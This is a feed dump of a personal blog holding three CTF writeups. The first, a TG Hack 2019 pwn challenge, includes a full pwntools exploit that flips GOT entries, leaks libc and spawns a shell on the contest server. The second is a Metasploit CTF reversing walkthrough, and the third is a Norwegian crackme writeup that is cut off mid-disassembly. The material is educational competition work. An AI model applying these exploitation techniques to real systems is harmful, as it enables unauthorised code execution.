Jekyll2020-03-25T15:32:58+00:00/feed.xmlFrisk @ inequation groupWelcome to the personal blog of Frisk a member of inequation group and bootplug. Here you will find some ctf writeups and some technical toughts I haveAre You Flipping Kidding Me? TG HACK 192019-04-21T22:11:10+00:002019-04-21T22:11:10+00:00/2019/04/21/tghackflipping<p>Inequation Group participated and won TG Hack 2019, this was one of the more interesting challenges that I solved</p>
<p>Start TLDR;</p>
<p>Are you Flipping Kidding me was a hard pwn exercise, where one was given a write anywhere primitive which was initially limited to the flipping of only 5 bits. As the executable was only partial RELRO one could flip bits in the GOT.PLT table to gain control over the execution and get an unlimited write. From there one could force an infoleak of an address within Libc which allowed one to easily use an onegadget to get a shell.</p>
<p>End TLDR;</p>
<p>The executable was quite simplistic it “only had 3 functions” main, do_flip and initialize</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>int initialize()
{
struct tm *v0; // rax
char *format; // ST10_8
char *v2; // rax
time_t timer; // [rsp+40h] [rbp-10h]
unsigned __int64 v5; // [rsp+48h] [rbp-8h]
v5 = __readfsqword(0x28u);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
alarm(0x28u);
timer = time(0LL);
v0 = localtime(&timer);
format = welcome_str;
v2 = asctime(v0);
return snprintf(buf, 0x7FuLL, format, v2);
}
</code></pre></div></div>
<p>initialize is a function which is called automagically at the “start” of the execution of the program</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>int __cdecl__ noreturn main(int argc, const char **argv, const char** envp)
{
signed int i; // [rsp+18h] [rbp-8h]
puts(buf);
i = 0;
/*
Iterate 5 times over the do flip operation
*/
printf("I'll let you flip 5 bits, but that's it!\n", argv);
while ( i < 5 )
{
do_flip();
++i;
}
printf("Thank you for flipping us off!\nHave a nice day :)\n");
/*
exit without returining
*/
exit(0);
}
</code></pre></div></div>
<p>As we can see main doesn’t return rather it exits which is something we will use to our advantage. We could have still exploited the program if main just returned, but it would have limited us to writing to only 4 bits at a time</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>unsigned __int64 do_flip()
{
unsigned int BitNr; // [rsp+Ch] [rbp-14h]
_BYTE *PointerToAdress; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Enter addr:bit to flip: ");
__isoc99_fscanf(stdin, "%p:%u", &PointerToAdress, &BitNr);
if ( BitNr > 7 )
exit(1);
*PointerToAdress ^= 1 << BitNr;
return __readfsqword(0x28u);
}
</code></pre></div></div>
<p>do_flip is our write anywhere primitive sadly it is currently limited by the main loop as it is only iterated over 5 times we can easily change that by forcing the got.plt entry of exit to point to _start, this is possible as exit@got.plt isn’t initialized yet and thereby point to an area inside of the .plt segment</p>
<figure class="kg-card kg-image-card"><img src="/content/images/2019/04/ExitGotStart.png" class="kg-image" /></figure>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>What we need to set exit@got.plt to __start
>>> bin(0x400766^0x400770)
'0b10110'
</code></pre></div></div>
<p>This allows us to iterate over the whole code multiple times by just changing 3 bits allowing us to perform more drastic changes to the execution flow, we will call the current execution flow big loop. The big loop is sadly also a limiting factor as it still limits the number of modifications we can do on functions that are called GOT.PLT’s entries to only 5 bits, this isn’t really true as we can still modify them as much as we want the only limitation being that the entry has to work, read not segfault, when it gets called.</p>
<p>To mitigate this i decided I wanted to change the execution flow once more to something shorter and less limiting this was possible as we have one more function that wasn’t yet initialized which is __stack_chk_fail which uninitialized points towards 0x4006f6 as we want to reach the start of main which is at 0x400940 this requires 9 bit flips</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>The bit flips we need to perform to set __stack_chk_fail to the base of main
>>> bin(0x400940^0x4006f6)
'0b111110110110'
The bit flips we need to perform to set exit to the got entry of __stack_chk_fail
>>> bin(0x4006f0^0x400770)
'0b110000000'
</code></pre></div></div>
<p>__stack_chk_fail is also in a very comfortable position as we have the got entry at 0x4006f0 which is only two bit flips away from 0x400770 this allows us to properly simulate function calls as we can change __stack_chk_fail to anything and then change exit’s got.plt entry so that it points to __stack_chk_fail using only 2 bit flips then call exit by trying to write to the 9 bit of an address and then change exit back to it’s original value for a total of 5 flips.</p>
<p>We now have quite nice control over the execution flow, now we just need to know which of the function calls happen with a favorable state to so that we can land on one of the possible onegadgets for that version of libc which are</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
</code></pre></div></div>
<p>After some testing i discovered that the call to alarm would work fine so i decided that i could just flip the bits of the entry of alarm to add the relative offset of the gadget to the got.plt entry of alarm and in that way call alarm by just changing back to the big loop. This of course didn’t work as just using xor when doing addition is the same as doing addition without carry which isn’t that useful or precise and thereby we most often than not end up calling random stuff in libc.</p>
<p>Because of this we need an info leak so that we can calculate the current value of the got.plt entry of alarm and what we need to change it to. We also need a function which dynamically calculates the operations we need to perform to set the address to what we need.</p>
<p>As for the info leak we are quite lucky as the welcome_str is saved just as a pointer in the data segment which means that we can directly modify it to something else if we change it to point to “%p:%u” we can leak a pointer to something in libc and from there calculate the value of both alarm and our gadget. To sum it all up</p>
<p>1.) We set exit@got.plt to _start to get infinite writes</p>
<p>2.) We set __stack_chk_fail@got.plt to the start of main</p>
<p>3.) We set exit@got.plt to __stack_chk_fail@got</p>
<p>4.) We modify the welcome_message pointer to set it to “%p:%u”</p>
<p>5.) We set exit@got.plt to _start to trigger the leak</p>
<p>6.) We set exit@got.plt to __stack_chk_fail@got</p>
<p>7.) We modify the alarm@got.plt to point to our gadget</p>
<p>8.) We set exit@got.plt to _start to trigger the exploit</p>
<p>We put all of this togheter and end up with the following exploit</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>from pwn import *
import time
def flipbits(addr, orig, new, mask=0xFFFFFFFFF):
to_flip = (orig ^ new) & mask;
instructions = []
for b in range(0, 8):
for i in range(0,8):
if to_flip & (1 << (i + (8*b))):
instructions.append('0x{0:X}:{1}'.format(addr + b,i))
return instructions
"""
r= gdb.debug('./flip',"""
# break *initialize+92
# command
# x/xg &'alarm@got.plt'
# x/xg &'exit@got.plt'
# x/xg &'__stack_chk_fail@got.plt'
# end
# continue""")
#"""
r=remote('flip.tghack.no',1947)
#Get infinit write Big Loop
r.sendline('0x601068:1')
r.sendline('0x601068:2')
r.sendline('0x601068:4')
#Start change of __stack_chk_fail@got.plt
r.sendline('0x601030:1')
r.sendline('0x601030:2')
print("Sent First stage of loop change")
r.sendline('0x601030:4')
r.sendline('0x601030:5')
r.sendline('0x601030:7')
r.sendline('0x601031:0')
r.sendline('0x601031:1')
print("Sent Second Stag of loop change")
r.sendline('0x601031:2')
r.sendline('0x601031:3')
#changes to smaller loop
print("Changing to smaller loop")
r.sendline('0x601068:7')
r.sendline('0x601069:0')
#forces exit
r.sendline('0x0:8')
LeakAddr = 0x601080
i = flipbits(LeakAddr,0x00400b51,0x00400b8a)
for x in i:
r.sendline(x)
#Important that we know how may Writes we have left
r.sendline('0x0:8')
#Changes back to biger loop trigger info leak
r.sendline('0x601068:7')
r.sendline('0x601069:0')
r.sendline('0x0:8')
#Wait for server
time.sleep(2)
Whatever = r.recv().split(" ")[::-1]
for i in Whatever:
if "0x"in i:
print("Got Memory Adress =%s"%i.split(':')[0])
Whatever = int(i.split(':')[0],16)
#Change these for different versions of libc
Alarm= Whatever-0x3092E0
print("Alarm =0x%x"%Alarm)
Gadget= Whatever-0x39E7FE
print("Gadget=0x%x"%Gadget)
#Changes back to smaller loop
r.sendline('0x601068:7')
r.sendline('0x601069:0')
i = flipbits(0x601050,Alarm,Gadget)
for x in i:
r.sendline(x)
r.sendline('0x0:8')
print("Finished sending payload")
#Trigger exploit by changing to bigger loop
r.sendline('0x601068:7')
r.sendline('0x601069:0')
#Padding
r.sendline('0x601030:4')
r.sendline('0x601030:5')
r.sendline('0x601030:7')
#Clean junk
r.clean()
#Get shell
r.sendline('id')
r.interactive()
</code></pre></div></div>
<figure class="kg-card kg-image-card"><img src="/content/images/2019/04/Flag.png" class="kg-image" /><figcaption>Tada</figcaption></figure>
<p>I would like to take this opportunity to thank the volunteers that organized this CTF it was truly an unique experience</p>Inequation Group participated and won TG Hack 2019, this was one of the more interesting challenges that I solvedMetasploit Community CTF 2018. 10 of Diamonds2018-12-03T22:05:08+00:002018-12-03T22:05:08+00:00/2018/12/03/metasploit-community-ctf-2018<p>I participated in this years <a href="https://www.metasploitctf.com/">Metasploit’s community ctf</a> with <a href="https://twitter.com/snadoteam">Snadoteam</a> we finished all but 2 of the challenges finishing fifth overall.</p>
<p>One of the most interesting challenges was definitely 10 of Diamonds being the “hardest” RE challenge in the ctf.</p>
<p>We found the 10_of_diamonds.exe in the home directory of the administrator on the windows box. Running file on it reveals that it is a MS-DOS executable, no surprise there.</p>
<p>Therefore i moved it over to my reverse engineering vm, Windows Defender sadly didn’t enjoy the new file on the filesystem and promptly deleted it. Because of this I decided to upload it to virustotal to see if it recognized the “malware”.</p>
<figure class="kg-card kg-image-card"><img src="/content/images/2018/12/VirusTotal.png" class="kg-image" /></figure>
<p>As we can see most of the hits are based on heuristics so the program is probably just doing some funky memory stuff. Quite curious I opened it in Radare</p>
<figure class="kg-card kg-image-card"><img src="/content/images/2018/12/Radare1.png" class="kg-image" /><figcaption>Huh</figcaption></figure>
<p>As we can see there is definitively something funky going on. A lot of functions are of the same length and there is one huge function at offset 0x00401337. The flag format for this ctf where png images so I made a educated guess that function did something related to the image and that the image was embedded into the executable somehow</p>
<p>Based on that i ran binwalk without any success on the file.</p>
<p>Since the only function called before the “main” function is the function.00491b63 I decided to take a look at it.</p>
<figure class="kg-card kg-image-card"><img src="/content/images/2018/12/Radare2.png" class="kg-image" /><figcaption>:S </figcaption></figure>
<p>As we can see this pops the function address of from the stack after pushing it (call) and inserts that into eax then it ads another constant to that.</p>
<p>This overflows eax leaving us with a function that returns 0x491b63 any god fearing compiler would never have done some thing like this therefore I decided to move the file back into my vm and check if <a href="https://ntinfo.biz/">DIE</a> recognized any type of packer/linker</p>
<figure class="kg-card kg-image-card"><img src="/content/images/2018/12/Die.png" class="kg-image" /></figure>
<p>DIE only recognized that there was some kind of linker which is something I already suspected. Based on this I decided to take a look at entry0 which is the entry point of the binary</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> ;-- eip:
/ (fcn) entry0 462
| entry0 ();
| ; var int local_38h @ ebp-0x38
| ; var int local_34h @ ebp-0x34
| ; var int argc @ ebp-0x30
| ; var int local_2ch @ ebp-0x2c
| ; var int local_28h @ ebp-0x28
| ; var int local_24h @ ebp-0x24
| ; var unsigned int local_20h @ ebp-0x20
| ; var int local_1ch @ ebp-0x1c
| ; var int local_18h @ ebp-0x18
| ; var unsigned int local_14h @ ebp-0x14
| ; var int local_10h @ ebp-0x10
| ; var int local_ch @ ebp-0xc
| ; var int local_8h @ ebp-0x8
| ; var int local_4h @ ebp-0x4
| 0x00491995 55 push ebp
| 0x00491996 89e5 mov ebp, esp
| 0x00491998 83ec3c sub esp, 0x3c ; '<'
| 0x0049199b 56 push esi
| 0x0049199c e8c2010000 call fcn.00491b63
| 0x004919a1 89c6 mov esi, eax
| 0x004919a3 8d86867d0600 lea eax, [esi + 0x67d86]
| 0x004919a9 8945f4 mov dword [local_ch], eax
| 0x004919ac c745f8000000. mov dword [local_8h], 0
| 0x004919b3 8d8e877d0600 lea ecx, [esi + 0x67d87]
| 0x004919b9 894dfc mov dword [local_4h], ecx
| 0x004919bc c745f09563ca. mov dword [local_10h], 0xca6395
| 0x004919c3 8b55f0 mov edx, dword [local_10h]
| 0x004919c6 85d2 test edx, edx
| ,=< 0x004919c8 0f8407000000 je 0x4919d5
| | 0x004919ce c745f0198420. mov dword [local_10h], 0x3208419
| | ; CODE XREF from entry0 (0x4919c8)
| `-> 0x004919d5 8d45f4 lea eax, [local_ch]
| 0x004919d8 50 push eax
| 0x004919d9 e880fdffff call fcn.0049175e
| 0x004919de 83c404 add esp, 4
| 0x004919e1 8945ec mov dword [local_14h], eax
| 0x004919e4 837dec00 cmp dword [local_14h], 0
| ,=< 0x004919e8 0f841d000000 je 0x491a0b
| | 0x004919ee e870010000 call fcn.00491b63
| | 0x004919f3 89c6 mov esi, eax
| | 0x004919f5 8d86887d0600 lea eax, [esi + 0x67d88]
| | 0x004919fb 50 push eax ; int argc
| | 0x004919fc e8d2010000 call main ; int main(int argc, char **argv, char** envp)
| | 0x00491a01 b801000000 mov eax, 1
| ,==< 0x00491a06 e953010000 jmp 0x491b5e
| || ; CODE XREF from entry0 (0x4919e8)
| |`-> 0x00491a0b c745e8fffa04. mov dword [local_18h], 0x4faff
| | 0x00491a12 c745e40f59c1. mov dword [local_1ch], 0x3c1590f
| | 0x00491a19 8b45e4 mov eax, dword [local_1ch]
| | 0x00491a1c 8945e0 mov dword [local_20h], eax
| | 0x00491a1f 817de0bd5390. cmp dword [local_20h], 0x19053bd
| |,=< 0x00491a26 0f8405000000 je 0x491a31
| ,===< 0x00491a2c e90c000000 jmp 0x491a3d
| ||| ; CODE XREF from entry0 (0x491a26)
| ||`-> 0x00491a31 c745e4760177. mov dword [local_1ch], 0x770176
| ||,=< 0x00491a38 e900000000 jmp 0x491a3d
| ||| ; CODE XREFS from entry0 (0x491a2c, 0x491a38)
| `-`-> 0x00491a3d 6a04 push 4 ; 4
| | 0x00491a3f 6800100000 push 0x1000
| | 0x00491a44 ff75e8 push dword [local_18h]
| | 0x00491a47 6a00 push 0
| | 0x00491a49 e89b010000 call fcn.00491be9
| | 0x00491a4e 8945dc mov dword [local_24h], eax
| | 0x00491a51 c745d894b53b. mov dword [local_28h], 0x13bb594
| | 0x00491a58 ff75e8 push dword [local_18h]
| | 0x00491a5b 6a00 push 0
| | 0x00491a5d ff75dc push dword [local_24h]
| | 0x00491a60 e858010000 call fcn.00491bbd
| | 0x00491a65 83c40c add esp, 0xc
| | 0x00491a68 ff75dc push dword [local_24h]
| | 0x00491a6b e8c7f8f6ff call fcn.00401337
| | 0x00491a70 83c404 add esp, 4
| | 0x00491a73 e8eb000000 call fcn.00491b63
| | 0x00491a78 89c6 mov esi, eax
| | 0x00491a7a 8d86a97d0600 lea eax, [esi + 0x67da9]
| | 0x00491a80 50 push eax
| | 0x00491a81 ff75fc push dword [local_4h]
| | 0x00491a84 e813010000 call fcn.00491b9c
| | 0x00491a89 83c408 add esp, 8
| | 0x00491a8c 83f800 cmp eax, 0
| |,=< 0x00491a8f 0f8422000000 je 0x491ab7
| || 0x00491a95 8d86ca7d0600 lea eax, [esi + 0x67dca]
| || 0x00491a9b 50 push eax ; int argc
| || 0x00491a9c e832010000 call main ; int main(int argc, char **argv, char** envp)
| || 0x00491aa1 8d86f97d0600 lea eax, [esi + 0x67df9]
| || 0x00491aa7 50 push eax ; int argc
| || 0x00491aa8 e826010000 call main ; int main(int argc, char **argv, char** envp)
| || 0x00491aad b8ffffffff mov eax, 0xffffffff ; -1
| ,===< 0x00491ab2 e9a7000000 jmp 0x491b5e
| ||| ; CODE XREF from entry0 (0x491a8f)
| ||`-> 0x00491ab7 6a04 push 4 ; 4
| || 0x00491ab9 6800100000 push 0x1000
| || 0x00491abe ff75e8 push dword [local_18h]
| || 0x00491ac1 6a00 push 0
| || 0x00491ac3 e821010000 call fcn.00491be9
| || 0x00491ac8 8945d4 mov dword [local_2ch], eax
| || 0x00491acb ff75e8 push dword [local_18h]
| || 0x00491ace 6a00 push 0
| || 0x00491ad0 ff75d4 push dword [local_2ch]
| || 0x00491ad3 e8e5000000 call fcn.00491bbd
| || 0x00491ad8 83c40c add esp, 0xc
| || 0x00491adb 68fffa0400 push 0x4faff
| || 0x00491ae0 ff75d4 push dword [local_2ch]
| || 0x00491ae3 ff75dc push dword [local_24h]
| || 0x00491ae6 ff75fc push dword [local_4h]
| || 0x00491ae9 e8dbf7f6ff call fcn.004012c9
| || 0x00491aee 83c410 add esp, 0x10
| || 0x00491af1 e86d000000 call fcn.00491b63
| || 0x00491af6 89c6 mov esi, eax
| || 0x00491af8 8d861a7e0600 lea eax, [esi + 0x67e1a]
| || 0x00491afe 8945d0 mov dword [argc], eax
| || 0x00491b01 ff75d0 push dword [argc] ; int argc
| || 0x00491b04 e8ca000000 call main ; int main(int argc, char **argv, char** envp)
| || 0x00491b09 6a00 push 0
| || 0x00491b0b 6880000000 push 0x80 ; 128
| || 0x00491b10 6a02 push 2 ; 2
| || 0x00491b12 6a00 push 0
| || 0x00491b14 6a00 push 0
| || 0x00491b16 6800000040 push 0x40000000
| || 0x00491b1b 8d863b7e0600 lea eax, [esi + 0x67e3b]
| || 0x00491b21 50 push eax
| || 0x00491b22 e8d8000000 call fcn.00491bff
| || 0x00491b27 8945c8 mov dword [local_38h], eax
| || 0x00491b2a 6a00 push 0
| || 0x00491b2c 8d45cc lea eax, [local_34h]
| || 0x00491b2f 50 push eax
| || 0x00491b30 68fffa0400 push 0x4faff
| || 0x00491b35 ff75d4 push dword [local_2ch]
| || 0x00491b38 ff75c8 push dword [local_38h]
| || 0x00491b3b e8d5000000 call fcn.00491c15
| || 0x00491b40 e883000000 call fcn.00491bc8
| || 0x00491b45 ff75c8 push dword [local_38h]
| || 0x00491b48 e8bd000000 call fcn.00491c0a
| || 0x00491b4d 8d86447e0600 lea eax, [esi + 0x67e44]
| || 0x00491b53 50 push eax ; int argc
| || 0x00491b54 e87a000000 call main ; int main(int argc, char **argv, char** envp)
| || 0x00491b59 b800000000 mov eax, 0
| || ; CODE XREFS from entry0 (0x491a06, 0x491ab2)
| ``--> 0x00491b5e 5e pop esi
| 0x00491b5f 89ec mov esp, ebp
| 0x00491b61 5d pop ebp
\ 0x00491b62 c3 ret
</code></pre></div></div>
<p>main is being called multiple times which isn’t exactly normal I therefore decided that radare wasn’t the best tool for the job and opened it up in ida</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>signed int start()
{
signed int v0; // esi
signed int v1; // esi
signed int result; // eax
signed int v3; // esi
signed int v4; // eax
signed int v5; // esi
int v6; // ST24_4
char v7; // [esp+Ch] [ebp-34h]
int v8; // [esp+10h] [ebp-30h]
int v9; // [esp+14h] [ebp-2Ch]
int v10; // [esp+18h] [ebp-28h]
int v11; // [esp+1Ch] [ebp-24h]
int v12; // [esp+20h] [ebp-20h]
int v13; // [esp+24h] [ebp-1Ch]
int v14; // [esp+28h] [ebp-18h]
int v15; // [esp+2Ch] [ebp-14h]
int v16; // [esp+30h] [ebp-10h]
int v17; // [esp+34h] [ebp-Ch]
int v18; // [esp+38h] [ebp-8h]
int v19; // [esp+3Ch] [ebp-4h]
v0 = sub_491B63();
v17 = v0 + 425350;
v18 = 0;
v19 = v0 + 425351;
v16 = 52462617;
v15 = sub_49175E(&v17);
if ( v15 )
{
v1 = sub_491B63();
sub_491BD3(v1 + 425352);
result = 1;
}
else
{
v14 = 326399;
v13 = 63002895;
v12 = 63002895;
v11 = sub_491BE9(0, 326399, 4096, 4);
v10 = 20690324;
sub_491BBD(v11, 0, 326399);
sub_401337(v11);
v3 = sub_491B63();
if ( sub_491B9C(v19, v3 + 425385) )
{
sub_491BD3(v3 + 425418);
sub_491BD3(v3 + 425465);
result = -1;
}
else
{
v9 = sub_491BE9(0, v14, 4096, 4);
sub_491BBD(v9, 0, v14);
sub_4012C9(v19, v11, v9, 326399);
v4 = sub_491B63();
v5 = v4;
v8 = v4 + 425498;
sub_491BD3(v4 + 425498);
v6 = sub_491BFF(v5 + 425531, 0x40000000, 0, 0, 2, 128, 0);
sub_491C15(v6, v9, 326399, &v7, 0);
sub_491BC8();
sub_491C0A(v6);
sub_491BD3(v5 + 425540);
result = 0;
}
}
return result;
}
</code></pre></div></div>
<p>as we can se the deassembled code doesn’t make much sense which is expected as ida isn’t able to recognize exactly what is being called. Fortunately it knows what is getting imported</p>
<figure class="kg-card kg-image-card"><img src="/content/images/2018/12/Imports.png" class="kg-image" /><figcaption>2</figcaption></figure>
<p>Does those offsets seem familiar ? Based on this I decided to try to rename all of the function calls programatically, this ended up not working as I wanted to so I decided to go for a manual dynamic approach.</p>
<p>I also decided to rename the function which returned the constant to ret_[constant] and to rename the big function to gold so that i could keep track of them. After that I sorted the functions based on function size adding a break point at the jmp of each of the tiny functions</p>
<figure class="kg-card kg-image-card"><img src="/content/images/2018/12/Break.png" class="kg-image" /></figure>
<p>Then I ignored ida’s warning and ran the program</p>
<figure class="kg-card kg-image-card"><img src="/content/images/2018/12/warning.png" class="kg-image" /></figure>
<p>At each breakpoint I executed the jmp with the execute each instruction so that i jmped into the function being “called”</p>
<figure class="kg-card kg-image-card"><img src="/content/images/2018/12/Dyn1.png" class="kg-image" /></figure>
<figure class="kg-card kg-image-card"><img src="/content/images/2018/12/Dyn2.png" class="kg-image" /></figure>
<p>After viewing the function name i pressed the return to the calling function and renamed the function call above eip to something similar to the function name</p>
<figure class="kg-card kg-image-card"><img src="/content/images/2018/12/Dyn3.png" class="kg-image" /></figure>
<p>After steeping trough another breakpoint this message was displayed</p>
<figure class="kg-card kg-image-card"><img src="/content/images/2018/12/Dyn4.png" class="kg-image" /></figure>
<p>this happens in the following function called by start</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>signed int __cdecl sub_48175E(int a1)
{
signed int v1; // eax
signed int result; // eax
int v3; // ST3C_4
int v4; // [esp+24h] [ebp-14h]
int v5; // [esp+28h] [ebp-10h]
int v6; // [esp+2Ch] [ebp-Ch]
int v7; // [esp+30h] [ebp-8h]
int v8; // [esp+34h] [ebp-4h]
v8 = 28856048;
v7 = 28856048;
v1 = ret_4791139();
v6 = createFile(v1 + 425108, 2147483648, 0, 0, 3, 128, 0);
if ( v6 == -1 )
{
v4 = 86806304;
v5 = 5364207;
ret_4791139();
MessageBox();
result = -1;
}
else
{
v5 = 21823640;
v3 = ret_4791139() + 425161;
sub_481BC8();
sub_481BC8();
if ( sub_481644(v6, &v4) == -1 )
{
sub_481B7B();
ret_4791139();
MessageBox();
sub_481BD3();
sub_481C0A(v6);
sub_481BC8();
sub_481BC8();
result = -1;
}
else if ( sub_481311(a1, v4) == -1 )
{
ret_4791139();
MessageBox();
sub_481C0A(v6);
result = -1;
}
else
{
ret_4791139();
sub_481BD3();
sub_481C0A(v6);
sub_481BD3();
result = 0;
}
}
return result;
}
</code></pre></div></div>
<p>after creating a 10_of_diamonds.key file in the same dir as the program it spat out another message</p>
<figure class="kg-card kg-image-card"><img src="/content/images/2018/12/FailedParse.png" class="kg-image" /></figure>
<p>luckily this brought me trough more of my breakpoints allowing me to rename more of the functions.</p>
<p>Based on this functions behavior and it’s position in start, which is basically the main of this program, I decided to rename it to fileini I then sat a breakpoint right before a conditional jump based on the return value of the function.</p>
<figure class="kg-card kg-image-card"><img src="/content/images/2018/12/GreenBranch.png" class="kg-image" /></figure>
<p>Since this function returns 0 only in case of an error while parsing the .key file I knew that the green branch was the one i was intrested in. I therefore forced IDA to follow the green path by right klicking on the first instruction in the greenpath and forcefully setting EIP to that instruction.</p>
<p>After this i returned execution to the program again, it covered some more small functions which I then renamed. Sadly nothing else seemed to happen and the program exited normally. After taking a look at start function again i noticed that there was a conditional jump based on a string compare and a filecreate in case the strings where equal I therefore decided to force the execution to take the green branch as I did before.</p>
<figure class="kg-card kg-image-card"><img src="/content/images/2018/12/Behaiviour3.png" class="kg-image" /></figure>
<figure class="kg-card kg-image-card"><img src="/content/images/2018/12/behaviourfinal.png" class="kg-image" /></figure>
<p>I also decided to inspect the local variable which was used in the strcmp and the constant, the local variable was just garbage so nothing of interest, but the constant was 73d3a702db472629f27b06ac8f056476. I kept this in the back of my head. Continuing execution in the way written above</p>
<p>This sadly made the program perform a divide by zero</p>
<p> </p>
<figure class="kg-card kg-image-card"><img src="/content/images/2018/12/divideByzero.png" class="kg-image" /></figure>
<p>This divide by zero happened in a function that took the local variable as an argument</p>
<p>Based on this i guessed that the local variable was somehow a seed for what was apparently a decoding function. Because of this I decided to break at the push before the strcmp and set it’s value to that of eax which contained the constant string</p>
<figure class="kg-card kg-image-card"><img src="/content/images/2018/12/redisForModified.png" class="kg-image" /></figure>
<p>this made the program take the right branch after the strcmp and after some micro seconds the program exited. I looked excitedly after any new files and lo and behold in the program’s directory there is a new png called flag.png</p>
<figure class="kg-card kg-image-card"><img src="/content/images/2018/12/flag.png" class="kg-image" /></figure>
<p>I want to thank <a href="https://www.rapid7.com/">Rapid7</a> for hosting this ctf, as I poped my first shell on the first metasploitable box I feel a particular connection to ctf’s hosted by them.</p>
<p>I also want to thank snadoteam for allowing me to participate with them</p>I participated in this years Metasploit’s community ctf with Snadoteam we finished all but 2 of the challenges finishing fifth overall.TSOC-CTF 2018 Oppagve 72018-11-03T12:27:18+00:002018-11-03T12:27:18+00:00/2018/11/03/tsoc-opp7<p>Inequation Group deltok og vant <a href="https://www.facebook.com/events/238879783450242/">Telenor Security Operation Centre sin CTF</a>.</p>
<p>I denne blogposten skal vi ta en titt på hvordan vi kan løse oppgave 7.</p>
<p>Oppgave 7</p>
<blockquote>
<p>Klaus har lagret en fil ved navn «crackme1» på sitt hjemmeområde. Den spør etter et passord, kan du finne passordet?</p>
</blockquote>
<p>Vi kjører programmet file mot filen og ser at det er en 64 bit elf altså en linux programfil som ikke har blitt stripped dette betyr at vi har detaljer om orignale funksjonnavn og slik i filen.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$file crackme1
crackme1: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked ...[SNIPPED]..., not stripped
</code></pre></div></div>
<p>Vi åpner så filen i radare2 med -A flagget slik at den automatisk analyserer filen som en programfil vi kjører så afl komandoen for å få en liste over funksjonene i programmet</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$r2 -A crackme1
...[SNIPPED]...
[0x000006a0]> afl
0x00000000 3 72 -> 73 sym.imp.__libc_start_main
0x00000618 3 23 sym._init
0x00000640 1 6 sym.imp.puts
0x00000650 1 6 sym.imp.__stack_chk_fail
0x00000660 1 6 sym.imp.printf
0x00000670 1 6 sym.imp.strcmp
0x00000680 1 6 sym.imp.__isoc99_scanf
0x00000690 1 6 sub.__cxa_finalize_690
0x000006a0 1 43 entry0
0x000006d0 4 50 -> 40 sym.deregister_tm_clones
0x00000710 4 66 -> 57 sym.register_tm_clones
0x00000760 4 49 sym.__do_global_dtors_aux
0x000007a0 1 10 entry1.init
0x000007aa 6 187 main
0x00000870 4 101 sym.__libc_csu_init
0x000008e0 1 2 sym.__libc_csu_fini
0x000008e4 1 9 sym._fini
</code></pre></div></div>
<p>Vi ser at main ganske så sikkert er den eneste ikke importerte funksjonen i programmet. Vi søker så til main med s komandoen og så printer vi ut disassemblyen med pdf kommandoen p for å printe d for å dissasemble og f for å spesifikkere at vi vil dissamblere en funksjon</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[0x000006a0]> s main
[0x000007aa]> pdf
/ (fcn) main 187
| main ();
| ; var int local_54h @ rbp-0x54
| ; var int local_50h @ rbp-0x50
| ; var int local_48h @ rbp-0x48
| ; var int local_40h @ rbp-0x40
| ; var int local_30h @ rbp-0x30
| ; var int local_8h @ rbp-0x8
| ; DATA XREF from 0x000006bd (entry0)
| 0x000007aa 55 push rbp
| 0x000007ab 4889e5 mov rbp, rsp
| 0x000007ae 4883ec60 sub rsp, 0x60
| 0x000007b2 64488b042528. mov rax, qword fs:[0x28]
| 0x000007bb 488945f8 mov qword [local_8h], rax
| 0x000007bf 31c0 xor eax, eax
| 0x000007c1 48b8536c6170. movabs rax, 0x6361427070616c53
| 0x000007cb 48ba6f6e5061. movabs rdx, 0x7a69506161506e6f
| 0x000007d5 488945b0 mov qword [local_50h], rax
| 0x000007d9 488955b8 mov qword [local_48h], rdx
| 0x000007dd 48b87a615375. movabs rax, 0x7265677553617a
| 0x000007e7 488945c0 mov qword [local_40h], rax
| 0x000007eb 488d3d020100. lea rdi, qword str.Enter_Password: "Enter Password: "
| 0x000007f2 b800000000 mov eax, 0
| 0x000007f7 e864feffff call sym.imp.printf
| 0x000007fc 488d45d0 lea rax, qword [local_30h]
| 0x00000800 4889c6 mov rsi, rax
| 0x00000803 488d3dfb0000. lea rdi, qword [0x00000905] ; "%s"
| 0x0000080a b800000000 mov eax, 0
| 0x0000080f e86cfeffff call sym.imp.__isoc99_scanf
| 0x00000814 488d55b0 lea rdx, qword [local_50h]
| 0x00000818 488d45d0 lea rax, qword [local_30h]
| 0x0000081c 4889d6 mov rsi, rdx
| 0x0000081f 4889c7 mov rdi, rax
| 0x00000822 e849feffff call sym.imp.strcmp
| 0x00000827 8945ac mov dword [local_54h], eax
| 0x0000082a 837dac00 cmp dword [local_54h], 0
| ,=< 0x0000082e 750e jne 0x83e
| | 0x00000830 488d3dd10000. lea rdi, qword str.Success ; Success"
| | 0x00000837 e804feffff call sym.imp.puts
| ,==< 0x0000083c eb0c jmp 0x84a
| || ; JMP XREF from 0x0000082e (main)
| |`-> 0x0000083e 488d3dcb0000. lea rdi, qword str.Fail ; "Fail!"
| | 0x00000845 e8f6fdffff call sym.imp.puts
| | ; JMP XREF from 0x0000083c (main)
| `--> 0x0000084a b800000000 mov eax, 0
| 0x0000084f 488b4df8 mov rcx, qword [local_8h]
| 0x00000853 6448330c2528. xor rcx, qword fs:[0x28]
